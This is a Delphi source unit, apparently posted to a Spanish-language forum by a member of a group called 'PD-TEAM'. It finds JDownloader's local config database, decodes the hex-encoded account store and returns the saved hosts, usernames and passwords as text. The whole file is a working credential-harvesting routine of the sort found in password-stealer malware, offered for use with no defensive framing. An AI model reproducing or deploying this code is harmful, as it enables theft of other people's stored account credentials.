Código: Seleccionar todo
//******************************************************************************
//* UNIT: UNT_JDRec
//* AUTOR: Fakedo0r .:PD-TEAM:.
//* FECHA: 16.05.2012
//* CORREO: [email protected]
//* BLOG: Sub-Soul.blogspot.com
//* USO: JDownloaderRec
//******************************************************************************
unit UNT_JDRec;
//******************************************************************************
//DECLARACION DE LIBRERIAS / CLASES
//******************************************************************************
interface
uses
Winapi.Windows, System.SysUtils, System.Classes, Winapi.ShlObj, Vcl.Dialogs, StrUtils, RegularExpressions;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
function JDownloaderRec: String;
function IsFileExists(sFile: String): BOOL;
function ReadFileA(sFile: String): String;
function GetSpecialFolderA(iCSIDL: Integer): String;
Function RegSplitA(Pattern, sCadena: String): TStrings;
function ByteArrayToString(bByteArray: TBytes): AnsiString;
//******************************************************************************
implementation
//******************************************************************************
//<--- Recupera Cuentas del JDownloader --->
//******************************************************************************
function JDownloaderRec: String;
var
sHost: String;
sUser: String;
sPass: String;
sPath: String;
sPart: String;
sDatos: String;
sDecrypted: String;
I: Integer;
D: Integer;
sLines: TStrings;
begin
I := 1;
sPath := GetSpecialFolderA(CSIDL_PROGRAM_FILES) + '\JDownloader\config\database.script';
if IsFileExists(sPath) = False then Exit;
sDatos := ReadFileA(sPath);
sPart := 'INSERT INTO CONFIG VALUES(' + Chr($27) + 'AccountController' + Chr($27) + ',' + Chr($27);
sDatos := Copy(sDatos, AnsiPos(sPart, sDatos) + Length(sPart), Length(sDatos));
sDatos := Copy(sDatos, 1, AnsiPos(Chr($27) + ')', sDatos) - 1);
while I <= Length(sDatos) - 2 do
begin
sDecrypted := sDecrypted + Chr(StrToInt('$' + Copy(sDatos, I, 2)));
I := I + 2;
end;
sLines := RegSplitA('\0', sDecrypted);
sDecrypted := '';
for I := 0 to sLines.Count - 1 do
begin
for D := 1 to 31 do
sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(D), '', [rfReplaceAll, rfIgnoreCase]);
sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(255), '', [rfReplaceAll, rfIgnoreCase]);
If sLines.Strings[I] <> '' Then
sDecrypted := sDecrypted + #13 + sLines.Strings[i];
end;
sLines := RegSplitA('\r', sDecrypted);
for I := 0 to sLines.Count - 1 do
begin
if RightStr(sLines.Strings[I], 2) = 'sq' then
if AnsiPos('.', sLines.Strings[I]) > 0 then
sHost := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 2));
if RightStr(sLines.Strings[I], 1) = 't' then
if RightStr(sLines.Strings[I + 1], 2) = 'xt' Then
begin
sPass := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 1));
sUser := Trim(LeftStr(sLines.Strings[I + 1], Length(sLines.Strings[I + 1]) - 2));
Result := Result + 'Host: ' + sHost + #13 +
'User: ' + sUser + #13 +
'Pass: ' + sPass + #13#13
end;
end;
end;
//******************************************************************************
//<--- SPLIT [EXPRESIONES REGULARES] --->
//******************************************************************************
Function RegSplitA(Pattern, sCadena: String): TStrings;
Var
I: Integer;
RegEx: TRegEx;
sArrVar: TArray<String>;
Begin
Result := nil;
Result := TStringList.Create;
sArrVar := tRegEx.Split(sCadena, Pattern);
For I := 0 To Length(sArrVar) - 1 Do
Result.Add(sArrVar[I]);
End;
//******************************************************************************
//<--- OBTIENE LAS RUTAS ESPECIALES --->
//******************************************************************************
function GetSpecialFolderA(iCSIDL: Integer): String;
Var
pszPath: PChar;
iRet: Integer;
tIDL: PItemIDList;
begin
GetMem(pszPath, MAX_PATH);
iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
if iRet = NOERROR then
begin
SHGetPathFromIDList(tIDL, pszPath);
GetSpecialFolderA := String(pszPath);
end;
FreeMem(pszPath);
end;
//******************************************************************************
//<--- PERMITE LEER FICHEROS --->
//******************************************************************************
function ReadFileA(sFile: String): String;
var
dwRet: DWORD;
hFile: THandle;
iSize: Integer;
bRead: TBytes;
begin
hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if hFile = INVALID_HANDLE_VALUE then
begin
Exit;
end;
iSize := GetFileSize(hFile, nil);
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
SetLength(bRead, iSize);
ReadFile(hFile, bRead[0], iSize, dwRet, nil);
CloseHandle(hFile);
Result := ByteArrayToString(bRead);
end;
//******************************************************************************
//<--- CONVIERTE ARRAY DE BYTES EN STRING --->
//******************************************************************************
function ByteArrayToString(bByteArray: TBytes): AnsiString;
var
i: Integer;
begin
SetLength(Result, Length(bByteArray));
for i := 0 to Length(bByteArray) do
Result[i + 1] := AnsiChar(bByteArray[i]);
end;
//******************************************************************************
//<--- VERIFICA SI EL ARCHIVO EXISTE --->
//******************************************************************************
function IsFileExists(sFile: String): BOOL;
var
iRet: DWORD;
begin
Result:= True;
iRet := GetFileAttributes(PChar(sFile));
if iRet = INVALID_FILE_ATTRIBUTES then
begin
Result := False;
end;
end;
end.